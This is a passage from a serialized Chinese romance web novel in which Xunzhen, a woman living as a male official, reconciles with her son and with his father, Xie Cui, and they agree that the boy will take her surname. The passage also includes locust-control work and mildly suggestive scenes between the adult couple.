谢璋知道自己大了,不该这般动不动就哭鼻子。 可今日娘的声音这么温柔,看他的目光也与往日不同了。 面对这样的娘,让谢璋再也克制不住。 下一秒,谢璋被揽入一个怀抱。 娘的手一下又一下,轻轻地落在他背上。 这个拥抱,与之前那个完全不同,谢璋埋进寻真怀里,感觉自己被裹进一个最安心、最温暖的地方。 谢璋紧紧地抱住了寻真,大哭一场。 泪水将寻真身前的衣服都浸湿了。 哭了许久,谢璋才平复,后知后觉地不好意思起来,立在床边,眼神飘忽着,不敢看寻真了。 谢璋的眼睛红红的,鼻头也红红的,脸颊白里透粉。五官秀气精致。 等长开了,定也是个美男子。 寻真新奇地打量着谢璋。 她竟然生出了一个这么好看的小孩。 谢璋被寻真盯着,不知道说什么了,捏着衣角,很羞涩的样子:“娘……” 寻真突发奇想:“小恒,你能不能叫我一声‘妈妈’?” 谢璋纯净的、湿漉漉的大眼睛看过来,有些不解。 寻真捏捏他的脸:“可不可以?” 谢璋虽不明白为何娘要他这么叫,但还是乖巧地点了一下脑袋,唤她。 寻真应了一声,揉揉谢璋的脑袋。 再继续打量谢璋,不禁又担忧起来,哪里都好,就是个子矮了些。 虽然矮些显得可爱。但长大了,可爱就不管用了。 其实,谢漼的基因还是挺强大的。 谢璋应该会长的吧…… 至少得比她长得高吧! 寻真卧床这几天,谢璋一有空便往她房里跑。谢漼早晚会来一次,给她诊脉。 寻真没事做,便给谢璋讲前世看过的各种动画片。谢璋搬来圆凳坐在床边,托着腮,听得双眸炯炯有神。 三日后。 窗外暮霭沉沉,寻真坐在案前翻书,有些看不进去,望着天空,思绪飘远。忽然听见叩门声。 寻真转头望去,门没关,谢漼立在门前,似在等她示意,才会进来。 寻真:“……进来吧。” 谢漼在她对面落座,寻真主动伸出手腕。 谢漼诊完,问:“后脑还疼吗?” 寻真摸了一下后脑:“……不疼了。” 谢漼:“我瞧瞧。” 寻真背过身,将后脑对着谢漼。 微凉的指尖穿过发丝,来回轻抚着头皮。 须臾,温热的气息扫过颈侧,那处泛出细细密密的小疙瘩。 谢漼:“嗯,已无大碍,再休养一日便可出门。” 寻真身子颤了颤,耳根迅速烧红了。 寻真:“好。” 谢漼见她一直垂着眼,刻意避自己的视线。 目光落在她头顶,道:“我走了。” 寻真:“嗯。” 谢漼走后,谢璋很快就来了,进屋前,警惕地贴着门缝左右望望,确认无人后关紧门,踩着欢快的步子朝寻真而来:“娘!” 两只袖子鼓鼓囊囊的,不知揣了什么。 寻真:“小恒,你袖子里藏着什么呢?” 谢璋抖开袖子,瓜子、花生、肉脯、果干骨碌碌滚出来,还有一小袋冒着热气的糕点。 寻真:“这么多吃的……” “我让永望去集市买的,都给娘吃!” “娘。”谢璋整整衣襟,挺直腰板,正色道,“前些日子,都是娘给我讲故事,今日换我,我来讲给娘听。” 寻真:“好啊!你要讲什么?” 谢璋:“昨日儿读了本《玄怪录》,很有趣的。” 谢璋讲起故事来,抑扬顿挫,声音清亮,还会转换声线,连书中晦涩的句子都背得一字不差。很有代入感。 寻真听得入了神,不知不觉嗑完了整袋瓜子。 结束后,寻真鼓掌:“好棒!”拈起一颗蜜饯喂进谢璋嘴里。 谢璋含着蜜饯,脸又红了。 寻真瞧着谢璋。 谢漼确实将孩子养得很好。 寻真勾勾手指:“小恒,你过来。” 谢璋走近。 须臾,谢璋没反应过来发生了什么,表情看起来有些憨憨的,“娘……”长长的睫毛忽闪忽闪。 寻真再度伸出手,捏谢璋腮边的肉,勾动着他的下巴。玩着他的脸。 “真可爱……” 男孩也不躲,两只大眼睛眨巴着,分外有神。 谢璋走进谢漼的房间,还没缓过来,恍恍惚惚。 到谢漼腿边,声音发颤,轻轻唤:“爹。” 谢漼正伏案书写:“……嗯?” 谢璋捏着自己的手指:“方才娘……” 谢漼搁下笔,看向儿子,见他一脸羞涩雀跃的小模样,心中了然几分。 谢漼顺着他的话问:“你娘怎了?” 谢璋:“娘亲我了……” 谢璋杵了一会,兀自回味了这几天娘对他的态度,眼眶渐渐湿润,仰着头,哽咽着对谢漼说:“爹,娘终于真正承认我了……” 两行泪滑落,谢璋抬手擦去,又笑起来。 是开心的泪水。 待谢璋离去,谢漼望着案上没写完的文书,再静不下心,长长叹一口气。 凭窗而立,唯见明月高悬,清辉满地。 谢漼深知,恒哥儿多年来心心念念,渴盼母爱。谢漼亦曾忧心,若恒哥儿终不得偿,恐成一生心结。 如今恒哥儿心愿得遂。 而自己心中所求,可还会有圆满的那一天? 夜里,谢璋躺在床上,翻来覆去,一直没有入睡。想起这几天与娘的相处,就开心。 想着想着,小脑瓜便快速转起来了。 娘对他态度转变,是从娘醒来后开始的。 那时,他便隐隐约约感觉娘不一样了。 所以才会忍不住哭了。 谢璋又想,之前他问过爹,娘是生完他后,撞到头才导致失忆了。 谢璋又联想到自己看过的传奇、志怪故事,一个猜测嗖地蹦出来——难道娘这次撞头,把以前的事都想起来了? 隔日,天一亮,谢璋便跑到寻真房间。 坐在床 边,等着她醒来。 寻真一醒来,对上一张放大的脸,吓了一跳。 “……小恒,你什么时候来的?” 谢璋眼中含着歉意:“我吓到娘了?” 寻真:“有一点点,没关系。” “娘,我下回再不这样了……”谢璋凑近寻真,小声说道,“我今天来,是有急事要问娘。” 寻真:“什么事?” 谢璋:“娘的失忆症是不是好了?” 谢璋居然也知道她失忆,应该是谢漼跟他说的。 不过……这小孩,怎么看出来的?! 谢璋:“娘?” 寻真迟疑了下,点了点头:“嗯,我想起来了。” 谢璋眼睛骤然一亮:“原来是真的!太好了,娘的病终于好了!” 说着,谢璋就站起来,激动道:“我要赶紧去告诉爹!” “等等,小恒!”寻真眼疾手快,抓住谢璋的手,“……小恒,你能不能答应我一件事?” 谢璋:“什么?” 寻真:“先不要把我恢复记忆的事告诉你爹。” 谢璋眼里写满了疑惑:“为什么?” 这是好事呀,爹知道了,一定会很开心的。 寻真晃了晃他的手臂:“我会找个合适的时机告诉你爹的,你先不要说。” “好不好?” 第139章 第139章“汗津津” 谢璋鼓起脸:“那好吧。” 寻真见他的脸蛋肉乎乎的,忍不住伸出手揉,上下搓。手感是真的好。 寻真痊愈了,即刻投身到捕蝗救灾中。 一日外出,偶遇范岂。 范岂:“竞舟,你身子大好了?” 寻真:“正想起来,还没谢你呢!听人说,那日我晕过去,是怀逸背着我回来的?” 范岂:“说起来,也是我的缘故。若不是与你站得太近,也不会让你不慎摔倒。” 寻真:“无妨无妨。” 寻真心中暗自庆幸:还好谢漼懂医术的事广为人知,要是范岂随便找个大夫来把脉,岂不是露馅了?看来往后,得万分小心才行。 忙了一个多月,才把这波蝗虫镇住。周边县也遭了灾,告急文书如雪片至谢漼案前。好在早有防备,灾势尚可控制。只有吴县受蝗虫侵袭最重,寻真他们便一直留在这里。 蝗虫繁殖极快,若不除掉虫卵,必成后患。 寻真每日都带着一小队到处挖,通过观察土壤痕迹和草木受损情况,总结出一套高效的搜卵方法,一天能挖上千块虫卵! 这日,寻真挖完蝗虫卵回来,灰头土脸的,便先洗了个澡。 沐浴完,皂隶将膳食送至房中。寻真刚在桌前坐下,准备吃饭,就听见有人敲门。 是谢漼。 自打恢复记忆,寻真就不太能直视谢漼了。 寻真心情复杂,有些局促地望着谢漼:“……有事吗?” 谢漼立在门口,目光沉沉:“五月之期已至,可想好了?” 这么快就到了! 寻真心里一算时间,还真是。先是闹蝗灾忙得脚不沾地,接着又……恢复了记忆。就不小心把这茬事儿忘了。 寻真:“……能否再容我一日?明日晚,我定给你答复。” 谢漼没进屋,只低低“嗯”了一声,黄昏的光从他背后照过来,衣裳都被照得透亮,可脸却藏在阴影里,瞧不见眉眼间的情绪。 他转身离去,背影很快融进了橙红的暮色里。 谢璋见谢漼连日来神色沉郁,好几次都想对他说,娘都记起来了,让爹也开心开心,可想到与娘的约定,终究还是忍住了。 到了约定时间,寻真去找谢漼。 夕阳刚隐入地平线,天际染着一抹瑰丽橙红。寻真到时,谢漼正在案前书写,余晖斜斜穿透窗棂,投下斑驳光影。 谢漼脸上,便落了碎金点点。 寻真轻轻叩了一下门。 那张如玉面庞缓缓转过来。 寻真:“你还在忙吗?要不……等你忙完了再说?” 谢漼放下手中笔:“现在说吧。” 寻真蓦地紧张,心跳怦怦,往前走了几步,直视着谢漼道:“你随我去一个地方。” 入夜后,两人出发。 永望驾车,载着谢漼。寻真骑马在前领路。 约莫一炷香工夫,到了。 寻真将马系在大树上,往一边看去。 谢漼下了马车,永望便架车离开,到不远处的路口为两人守着。 小径荒疏,少有人踏足,野草长得疯,都快齐大腿高了,只留出窄窄一条道。 寻真提着行灯,朝谢漼走去。 寻真与谢漼仅隔半步之遥,彼此呼吸可闻。 谢漼的气息一下一下扫在她头顶,忽急忽缓。 静了数秒,寻真握住了谢漼的手,仰头看向他:“跟我来。” 谢漼一时没能反应过来。 那纤细温软的手一牵住他,他的心都停了一息。 谢漼指尖颤动着,甚至忘了回握,就这样被她拉着往前走。 掌心很快就汗津津的了。 谢漼喉头微动。 幸夜色如墨,可作掩饰,不致让她看见,自己因她这一小小举动而失态失神之状。 走到小径尽头,视野豁然开朗,一座小山坡映入眼帘。 越过山坡,眼前展现出一片平旷的草地,一望无际。 草地上,流萤漫天飞舞,似银河自天而坠,洒落人间。 寻真与谢漼牵着手,立在山坡最高处,望着下面那片流萤。 二人手掌相贴处,湿湿黏黏的。 这个地方,是寻真带队挖蝗虫卵时偶然发现的。 许久,寻真松开了谢漼的手,将行灯放在地上。 朦胧的光晕将两人笼罩。 谢漼垂在袖中的手微微蜷起。 寻真看着眼前的美景。 心想,在这里做最后的结束,倒也不错。 寻真开口:“你上次问我在顾虑什么……” “现在我就把我想要的告诉你。你若不能接受,我们就这样,好聚好散了吧。” 谢漼侧头看她,呼吸一滞,她话中意,似已笃定了自己不会同意。 他嗓子发干,道:“若我能接受呢?” 寻真转头对他说:“那就如你先前所说,我们重新开始。” 谢漼稍稍松了口气:“好,你且说与我听。” 寻真:“我的第一个要求是,你我如果在一起,你必须专一,对我一心一意,不可再与旁人牵扯。” “若有旁人,我们即刻了断。” 谢漼:“这一条,我已允过你了。” 寻真:“好。第二个是,我以后不会再生育。” 谢漼:“你如今是男子身份,我又怎会让你冒这等风险?” “你竟以为,我连这般简单的都做不到?” 寻真:“若我不是男子呢?” 谢漼懂她的意思:“不论何种情形,生育全凭你心意。” “还有么?” 寻真:“第三,以后我想做什么,你不可强求我按你的想法来。” “你可以提出建议,但我未必听从。” “当然,这只限于私下,官场上你不必顾及私情。” 谢漼:“好。” 一顿,又道:“这些,若你早与我说,我也会允你。” “于我而言并非难事。” “可还有其他?” “还有最后一条。” 寻真没有立即说,谢漼便问:“是何?” 寻真看着谢漼的眼睛,道:“我想让小恒跟我姓。” 昏黄光影下,寻真瞧见谢漼的喉结动了动。 只静了短短一瞬,他低笑出声:“原来你认定我会拒绝?” “我答应你。”他语气轻快,口气很大地说,“若还有旁的要求,一并说来,我都应了你。” 寻真明显不太相信他的话:“你同意了?” 又重复了一遍:“我是说让小恒跟我姓,你如何能做到?” 谢漼:“这有何难?” 谢漼的回答超出预期,寻真一时大脑有些宕机。 谢漼的语气染上笑意:“我都允你了。你呢,可愿守诺,与我重新开始?” 寻真:“你都答应了,我自然……” 这次,换谢漼去牵她的手。 宽厚的大掌将她包住,而后,十指相扣。 寻真神思混沌,整个人都懵懵的。 谢漼:“此处风景甚妙,改日我们再来慢慢赏。今夜色已深,先回吧?” 寻真嗯了一声。 回程时,依旧是谢漼乘车,寻真骑马。 寻真在马背上,被风吹得脑子愈发乱了。 她没等谢漼,顶着一头乱糟糟的头发回了官舍,简单擦了擦身,便躺上床,乱七八糟想了一堆。 叩门声响起。 开门,谢漼单手撑着门沿,身子微微前倾,眼睛在夜里发亮,似有星火跳。 唤了她一声“真儿”。 寻真侧身让他进来,关门时,谢漼欺身上前,将她抵在门板上。 灼热急促的呼吸声喷在她脸上,越凑越近。 谢漼先是啄了一下她的唇,见她未躲,辗转吸吮,加深了吻。 唇齿交缠。 寻真腿脚发软,身子往下滑,谢漼一把扣住她的腰,圈在怀中。 慢慢地、细细地吻。 这个吻持续了许久。 停下,彼此急促的喘息交缠在一起。 谢漼环住寻真,仰起头,长长的舒了一口气。 眼眶 竟不自觉微微湿润了。 今日方知,何为圆满。 能再抱到她,吻到她,他谢漼此生,再无所求了。 寻真回抱着谢漼,耳朵贴在他胸口,听着擂鼓般的心跳声。 谢漼:“真儿。” 寻真:“……嗯。” 谢漼声音沙沙的,缓缓道:“便是你不说,我亦会为你做打算。” “你如今以男子身份立足世间,若没孩子承继,岂不断了血脉?” “再者,恒哥儿在谢氏,受诸多规训束缚,他这性子,跟着你,反倒能随心生长。” 寻真仰起头,下巴抵在他胸膛上,眨眨眼:“若我现在不是‘男’的呢?你也会答应我吗?” 谢漼的喉结滑上去,又落下来:“自然。” “你想要什么,我都给你。” 谢漼低下头。 寻真环住了他的脖子,同他接吻。 屋内静谧,唯有绵密细碎的亲吻声,夹杂着衣料相擦的窸窣轻响。 吻得气虚,寻真靠在谢漼胸前,平息着。 谢漼的心在持续的高频跳动后,终于缓下来了些,俯身在寻真耳边轻声问:“去床上,可好?” 寻真脸红了红,“……嗯。” 谢漼将她打横抱起,到床上,却没有再做什么,只是紧紧地拥住她。 微弱的月光从窗口洒入,落到谢漼脸上。 他的唇被吮得微微肿了。 寻真抬手,摁了一下他的唇:“谢漼。” 谢漼:“嗯。” 又回到刚才那个话题。 寻真:“那你说,小恒会同意吗?” 毕竟谢这个姓,还代表着谢家背后的资源。 谢漼:“我了解恒哥儿的性子,被你重视,他欢喜还来不及。” 寻真哦了一声:“他现在还小,可能不觉得有什么,若是长大懂事了,怨我怎么办?” 谢漼:“若他敢怨你,那便不要他了。” 第140章 第140章“可愿” 寻真指尖戳了戳谢漼的胸膛,道:“……你心怎这样狠?” 谢漼低头,轻轻咬她的唇:“……不及真儿半分。” 寻真:“我哪里?!” 谢漼鼻间哼出一气,并没有开口。 寻真翻身,趴到他身上,捏住他耳朵,上下揪一揪:“快说,快说。” 谢漼被她揪着耳朵,一点不恼,反倒分外享受,眸中笑意流转,转了话题,道:“不如先议,如何将恒哥儿记到你名下。” 寻真果然被引开注意力:“你说。” 谢漼开始详述计划,对外假称谢璋夭亡,再使他以远亲之名过继甄家。如今谢漼身为刺史,户籍改易不过举手之劳。 谢漼:“恒哥儿正值长身体的年纪,待得两三年后,身形相貌皆变,旁人自难生疑。” “若他想入仕,我在朝中自会助他。” “若他无心功名,你我二人,也能护他一世无忧。” 这么快,谢漼就计划好了。 寻真亲一下他:“好,就这么办。” 谢漼将她裹入怀中,掌心贴着她后颈的软肉轻轻揉捻着,只感觉寸寸碎裂的心,在这一刻被填得满满当当。 他喉间溢出一声叹。 只想这么抱着她…… 寻真窝在他怀中,渐渐来了困意,快要闭上眼睛时,忽然想到一点,脑子立刻清醒了。 她跟谢漼的身体几乎完全贴在一起,这么久了,为什么他一点反应都没有? 前世在网上看到过,说男人过了二十五岁,基本都不行了。 寻真又感受了一会儿,是真的没有…… 以前谢漼是很行的,不过那会年轻,体力肯定好。 现在三十一了,而且谢漼每天工作量挺大的,更别提他还有心疾,常年服药…… 寻真越想越忧愁,起初是愁谢漼的肾,后面开始担心他的病。 谢漼垂眼,见她眉心紧蹙,忧虑重重,不知在为何事烦忧。 抬起手,摸摸她的脸:“怎了?在想什么?” 寻真仰头看谢漼,转瞬间已想好,要是他真的不行了,她也不会嫌弃他的。 谢漼很要面子的,还是不提为好。 寻真将手探入他里衣,手掌贴住他温热的胸膛。 谢漼覆上她的手,轻轻摩挲。 寻真:“你的病,是不是很严重?你说实话,不要骗我。” “不严重。”谢漼道,“已在好转。一年比一年发作得少,许是在自愈了,真儿莫忧。” 寻真嗯了一声,靠在他胸前,沉沉睡去。 待她睁开眼,谢漼正静静地看着她。 她睡眼惺忪,揉揉眼睛:“现在什么时辰了?” 谢漼:“还早,真儿还可再睡一会儿。” 寻真:“……嗯。” 谢漼:“我得走了。” 寻真:“好。” 谢漼起身,在床边穿好衣服,随后俯身,捧住她的脸,指腹轻轻擦着颊边的肌肤,吻了吻她,转身带上门。 晨雾未散,谢漼召集官员们开了个小会,共商蝗灾下一步应对之策。议事完毕,官员们次第退去。寻真故意放慢脚步,落在最后面,待众人散尽,再关上门。 寻真笑着,踩着小碎步朝谢漼走去。 谢漼穿着官服,端正坐在案前,神情正经而严肃。 这人不笑的时候,官架子还是很足的。 谢漼见她走近,眼底泛起笑意。 寻真敛容正色道:“使君,下官还有事要禀。” 谢漼:“何事?” 话音未落,寻真手撑在案上,倾身向前,在他唇上飞快啄了两啄,然后附耳,用气声说,“今晚,我去找你。”谢漼正欲抬手,将她揽入怀,却被她一个侧身躲开。 寻真小跑至门边,笑眼弯弯,给了他一个飞吻,然后溜出去了。 谢漼望着她离去的方向,抬手摸了下唇,又按住胸口。 心正激烈而急促地跳动着。 寻真沿着回廊走着,感觉有种别样的刺激。 夜幕深沉时,寻真便出了房门,快步走到谢漼门口,做贼似的,四处望望,迅速推门而入。 里面两人正在说话,谢漼与谢璋对坐,二人听到声音同时转头。 寻真反手闩上门,迎上谢璋惊讶的目光。 “……娘?” 自重逢后,在谢璋眼中,寻真和谢漼一直保持着不熟的状态,举止守礼,无半点亲近之态。除却谈论公事,寻真与谢漼私下里鲜少同处一室,更不曾见这般夜深,还在卧房里相会。 谢璋心想,实在反常。 寻真:“小恒你也在啊?跟你爹说什么呢?” 谢璋手里拿着一本书:“有些不懂的,正问爹呢,娘,你怎来找爹了?可有什么急事?” 寻真抓了抓头发,笑笑,道:“没什么……”瞥了眼谢璋身后的谢漼。一时不知该怎么说。谢漼也没开口的意思,寻真便道:“是有事找你爹说……你们继续,我在旁等着。” 寻真在一旁落座。 谢璋狐疑地瞅了瞅寻真,又抬起头看谢漼,心想,怎么感觉爹和娘有什么事瞒着他呢? 谢璋正想着,便听谢漼开口唤道:“真儿。” 寻真:“……嗯?” 谢漼:“正好恒哥儿在,便将那件事与他说了吧。” 寻真走过去:“哦……好。” 谢璋的视线在他们脸上来回游移着,很快明白:“娘,爹,你们已和好了吗?” 寻真心想,这小子眼睛也太尖了吧!什么都骗过不他。 简直青出于蓝而胜于蓝! 谢漼微微颔首。 谢漼:“恒哥儿,想必你现在已看明白了,你娘扮作男子,登科入仕,如今与我同朝为官。” “你娘唯有你一子,往后她这一脉的传承,便靠你了。” “为父与你娘商议,欲让你改随母姓,延续香火。” “你可愿担此重任?” 谢璋:“这是爹的主意吗?” “是我的想法。”寻真握住谢璋的两只手,注视着他,问道,“小恒,你愿意随我姓吗?” 谢璋当然愿意了,心跳咚咚咚。 这样不就意味着,日后他可以光明正大地站在娘的身边,说是她的孩子了? 谢璋想着想着,脸颊微微红了,佯装镇定,没有马上应。 看看谢漼,又瞅瞅寻真,敏感地察觉,他似乎可以趁这机会提出什么。 谢璋:“我愿意,但是……娘,你可不可以答应我一个条件?” 寻真:“你说。” 谢璋忘不了与娘重逢的那日,瞧见她亲了那个小娃娃。 那一刹,心都被碾碎了。 谢璋注视着寻真,认真道:“我要娘答应我,以后不能跟任何人生孩子。” 寻真一愣,下意识看了一眼谢漼。 谢璋见寻真没有立刻应下,便急了,眼眶一酸,唤道:“娘!” 寻真:“好,我答应你。” 谢璋松了口气,展颜,忽而又想到一点,急忙补充:“跟爹生也不行!” 谢璋心想,跟谁都不行,娘这一生,便只该有我这一个孩儿才是。 这念头在心里扎根已久,可先前一直没机会说出口。若娘真打算跟别人生娃娃,他怎阻止得了?故而心中总隐隐担忧着。 寻真捧住谢璋的脸,揉一揉:“好,我答应你,我以后不跟任何人生孩子。” “我跟你爹,只要你这一个。” 谢璋重重点了下头。 寻真心想,恐怕就算她想生,你爹也力不从心了。 精子质量不行,会影响胎儿健康的。 生也得生高质量的娃。 小恒这样的,就是优质娃。 谢漼:“今日就先到这儿,恒哥儿,明日我再与你接着讲。” 谢璋嗯了一声,走出去,走到半路,又转回身来问道:“娘不走吗?可是还有事要跟爹说?” 寻真:“嗯……我还有事。” 谢璋出去后,寻真把门关严实了。回身见谢漼坐在案前,看起了书。寻真走过去,手指点了点他头顶。 谢漼抬头看来,烛火明灭,光晕幽幽地落他脸上。 寻真瞧了一会儿,坐到他腿上,勾住他的脖子。 谢漼伸手揽住,呼吸有几分急促。 “……真儿。” 寻真:“谢漼,我们这样偷偷摸摸的,还挺刺激的……” 谢漼默了一瞬,道:“真儿的心思,总与寻常女子不同。” 寻真:“什么意思?” 谢漼缓缓抚着她的背,喉头微动,眸色深沉,凝视着她不说话。 寻真伸手,捏住谢漼的脸,扯了扯。 他的脸没肉,没谢璋的好捏。 “快说呀,你这话什么意思?” 谢漼抬手,大掌托住她的脸,指腹慢慢描绘着她眉眼的轮廓。 开口道:“这般无名无分地跟着我,真儿心中,当真不怨?” 寻真愣了愣,一时不知该怎么回谢漼的话。 谢漼叹了口气,将她揽入怀。 寻真枕在他肩上,听得头顶传来低沉的声音。 “真儿,若你现在愿意,还来得及……” 越说到后面,他的声音愈发轻了。 寻真抬起头。 谢漼看着她,明知她怕是不会答应,还是说出口了。 “真儿,我想娶你为妻。” 寻真:“怎么娶?” 谢漼:“为你寻一合适身份,依礼行六聘,八抬大轿,迎你入门。” “自此以夫妻之名,相守一生,白首不离。” “你……可愿意?” 谢漼屏息,看向寻真。 寻真握着谢漼的手,以前或许有过这个想法,但现在,婚姻对她来说,反倒成了负累。 如今这样无拘无束,才是最自在的。 不过,谢漼能说出这话,她还是很开心的。【魔蝎小说 mo xie xs .c om】 140-150 第141章 第141章“我想看…” 寻真与谢漼对视,道:“谢漼,我……并非不愿。” “只是,我若与你成婚,定不如现在自由。” “我不能想做什么,就做什么。想去哪儿,就去哪儿。而且,你不是都答应我了……” 寻真双手捧住谢漼的脸,“小恒要跟我姓的,我嫁你了,还怎么实现?” 谢漼道:“好,依你。” 寻真道:“如此一来,我们都能保有自由。即便日后我们分——” 腰间骤然一紧,谢漼眉间微微拧起,道:“莫说这些话。” 寻真弯起眼睛,扑上去,亲了一口他的脸颊,道:“好,不说,不说。” 寻真的脑袋歪着靠在谢漼的肩膀上,捏着他的耳垂。 谢漼:“真儿。” 寻真:“嗯。” 谢漼:“真儿,往后你我之间,当坦诚相待。” “若我有做得不妥之处,你切莫藏在心里,与我直言便是。” “你不说,我便永远猜不出你的心思。” 寻真:“好,往后我有话直说,绝不藏着掖着。” 又补充:“你若对我有意见,也别顾忌,尽管开口。” 谢漼:“真儿已很好了,无需改变。” 嘴这么甜。 寻真亲他一下。 谢漼:“不过,倒是想起一处。” 寻真:“……嗯?” 谢漼贴近,温热气息拂过她耳畔,轻声道:“真儿既已与我重续前缘,可否能答应我,日后……莫要与其他男子亲近?” 寻真:“怎样算你说的‘亲近’?” 谢漼将她往自己怀里带了带,语气中似有暗示,道:“官场上应酬便罢了,私下里不能与男子单独吃酒。” “不能与他人拉拉扯扯,勾肩搭背,有肌肤之触。” “这两条,你可能答应我?” 寻真太了解谢漼了。 一看这眼神,就知道他在内涵她。 她跟谁拉拉扯扯,勾肩搭背了?! 寻真眨眨眼,故意问:“单独不行,那我跟两个男子一起吃饭喝酒,就可以了吗?” 谢漼见她这般狡黠,真是让人又心痒又恼,喉结动了动想说些什么,终究还是退了一步,道:“三人同席可,不能单独。” 寻真哦了一声,凑近端详他神色,试图从这张无波的脸上揪出一丝情绪。 寻真想了想,忽然说:“我的确与不少男子单独吃过饭……” 说到这里,她特别注意了下谢漼的表情。 谢漼扣着她的腰,捏了捏,嗓音低哑,道:“怎不继续说了?都与谁单独吃过?” 寻真掰着指头数:“好多呢,我在书院的同窗,还有县衙的同僚……” 寻真瞄了一眼谢漼,叹了口气,道:“你这要求着实有些为难人。照你这么说,我连饭都不能跟人吃了,那不就是跟他们断了往来?” “而且我跟他们不过就是聊聊天而已,又不做别的……” 见谢漼的脸色不好了,连忙补充道:“我可以答应你,跟他们吃饭滴酒不沾!” 见他仍不言语,寻真贴近了,鼻尖蹭着他的,道:“你刚才还让我有话直说。” “怎的转眼就忘了?嗯?” 谢漼没说话。 寻真换位思考了下,如果 谢漼和别的姑娘单独吃饭,想想确实膈应。 但是,她的情况毕竟跟谢漼不同。 寻真正纠结时,谢漼松口了:“第一条你做不到,第二条呢?” “当然!”寻真道,“我本就处处小心,若有肢体接触,岂不容易暴露?” “所以,这一条,我肯定能做到。” 谢漼:“好。” 两人抱了一会。 寻真困得眼皮直打架,道:“我有些困了,你抱我去床上吧,我今晚在你这儿睡。”又想起谢漼有洁癖,补充道,“我洗了来的。” 谢漼嗯了一声,将她抱起,放到床上时,吻了吻她的唇,道:“真儿先睡,我去沐浴。” 寻真点点头。 寻真本想等谢漼,可实在撑不住,眼皮一直往下掉,没一会儿就睡着了。迷迷糊糊间,感觉有人靠近,湿热的气息扑到脸上,柔软的触感印在额头上,又顺着眉、眼、鼻往下,最后覆上她的唇。 寻真下意识启唇,回应着。 舌缠着舌。 寻真胸口涌起一股热意,又想到谢漼如今的身体状况,不禁觉得可惜。 不过光这么亲亲,也挺让人满足的。 两人气息交融,神思昏沉间,寻真忽然感觉腹前被什么抵住,一下子醒过神来,睁开眼,眼里泛着点点光。 谢漼又行了? 眼前的谢漼,身着一袭丝质长袍,腰间松松垮垮系着带子。布料滑溜溜的,掠过皮肤,像水一般淌过肌肤,送来丝丝沁凉。 他胸前肌肤半袒,筋肉劲健,线条分明。 寻真的视线凝在他胸前。 看来分别这几年,谢漼没有荒废锻炼,身材还跟以前一样。 腹肌都在呢。 寻真手掌贴上去。 谢漼的呼吸陡然沉重,眼里蒙上了一层雾气。 灼热的气息洒在寻真脸上。 脸溢上绯红,竭力克制着。 寻真的手渐渐往下,快要抵达之时,手腕被一把捉住。 寻真听到谢漼的声音,又沉又哑,带着拒绝之意:“真儿。” 寻真仍试图往下。 谢漼把她的手拉上来,整个儿圈在怀里。 哑着声道:“真儿,莫闹我。” 再这样下去,便要失控了。 寻真心里嘀咕,怎么停了? 谢漼好不容易起来了。 这次不试,下次还不知道要等到什么时候呢。 难道…… 寻真脑海中又蹦出另一个猜测。 谢漼紊乱的呼吸声,在她耳边乱撞着,听得她实在受不了,想挣开谢漼的胳膊,扭了扭身子,根本挣不脱,便道:“谢漼,你松手。” 谢漼松开了,寻真抬起头一瞧,谢漼脸上红得厉害,眼中透着迷离,粗重的呼吸还一下下喷在她手上。 寻真贴过去,指尖点了点他的嘴唇,小声道:“谢漼,你别喘了。” 喘得我受不了。 谢漼眸色一暗,下一瞬,攥住她手腕,翻身将她压下,堵住她的唇。 来势汹汹,如疾风骤雨。 掠夺般地吮吸她的唇瓣,寻真一下子没反应过来,没张嘴,谢漼就抬手捏住她脸两侧,迫使她张开了嘴。 舌头入侵,勾缠着她的,接着舔她的上颚,口中的每一处都不放过,要侵占个遍。 寻真被这突如其来的激吻弄懵了,完全被打乱节奏,只能被动地承受着,甚至忘了换气。 慢慢被吻得几近缺氧、失神,脑袋发晕。 身子彻底软了下来。 眼前都开始泛白光了。 谢漼可算停了下来,抚了抚寻真发热的脸蛋,哑声道:“还好吗,真儿……” 寻真缓了许久,才从刚才那劲儿里抽离,有气无力地说:“你说呢……我都喘不上气了……” 谢漼将她搂入怀,紧紧地箍住:“都与真儿说了,莫要闹我,偏不听。” 寻真的脸抵在他胸口,声音闷闷的:“我闹什么了?不就叫你小声点嘛……你呼吸声太大了,吵到我了!” “好。”谢漼的嗓音裹着滚烫的颤意溢出,“我小声些。” 谢漼抱着她,不再有其他动作。 渐渐地,寻真感觉腹前的那物慢慢下去了。 寻真心中不免觉得可惜。 俄而,两人都冷却下来,抱了一阵子。 鼻尖钻入一股淡淡清香,很好闻。 寻真吸了一口,眼睛亮盈盈的:“谢漼,你身上又有香味了,好好闻。” 说完,又凑到他胸前,猛猛吸了两口。 谢漼摸着她的发:“这是我近日新调配的香,有清心静神、助梦安魂之效。” 寻真:“难怪呢,我一闻就困,想睡觉。” 谢漼的手从她头顶移至后背,缓缓抚着:“不早了,真儿睡吧,到时候,我唤你。” 寻真:“嗯……” 谢漼瞧她像是有话要问:“怎了?还有事?” 寻真犹豫着,还是没问出口,“没事。”然后埋入谢漼胸前,寻了个最舒服的位置,蹭了蹭,闻着他身上好闻的味道,进入梦乡。 寻真睡得特别好,一夜无梦。睡眠质量高,便提早醒了。 窗外天色微明,谢漼还睡着。 寻真小心翼翼把谢漼搭在她身上的胳膊挪开,起身。 谢漼闭着眼,眉眼舒展,唇角微微勾起,似是在做什么好梦呢。 寻真伸出手指,轻轻划了下他挺直的鼻梁。 又碰了碰嘴唇,然后便准备绕过谢漼下床。趁天还没完全亮,赶紧回自己屋。 挪到床尾,正要往外跨,视线掠过一处,寻真身子一定。 咦? 谢漼仰面躺着,腿间的位置撑起,鼓囊囊的,亵裤薄透,能明显看出里面的轮廓。 此时,谢漼长臂一揽,搂了个空,心骤然一慌,遽然睁眼。 谢漼正要起身,余光瞄见人跪坐在自己腿边,手已勾住他的裤带。 谢漼一瞬凝滞:“真儿……你在做什么?” 寻真刚探到他腰间,还没拉开,突然听到声音,手一颤。 他刚刚不是睡得挺香的吗? 这么快就醒了。 被发现了,寻真也不掩饰,索性坦白:“我想看一下你的……” 谢漼:“……看什么?” 寻真在脑海里搜索着文雅的词汇,很快找到一个,道:“玉根。” 第142章 第142章“给我” 谢漼沉默了许久。 一阵诡异的安静。 寻真再度伸出手,朝着谢漼的亵裤探去。 谢漼捉住她的手,按在腰间,看着寻真,那表情像是被她这举动震得说不出话来。 寻真知道他要面子,但这种病早治才有希望,为了自己下半辈子的**生活,还是努力一下。 “谢漼,你让我看看。” 谢漼不发一言,寻真继续劝道:“谢漼,你自己治不好,就交给别人,怎能讳疾忌医呢?” 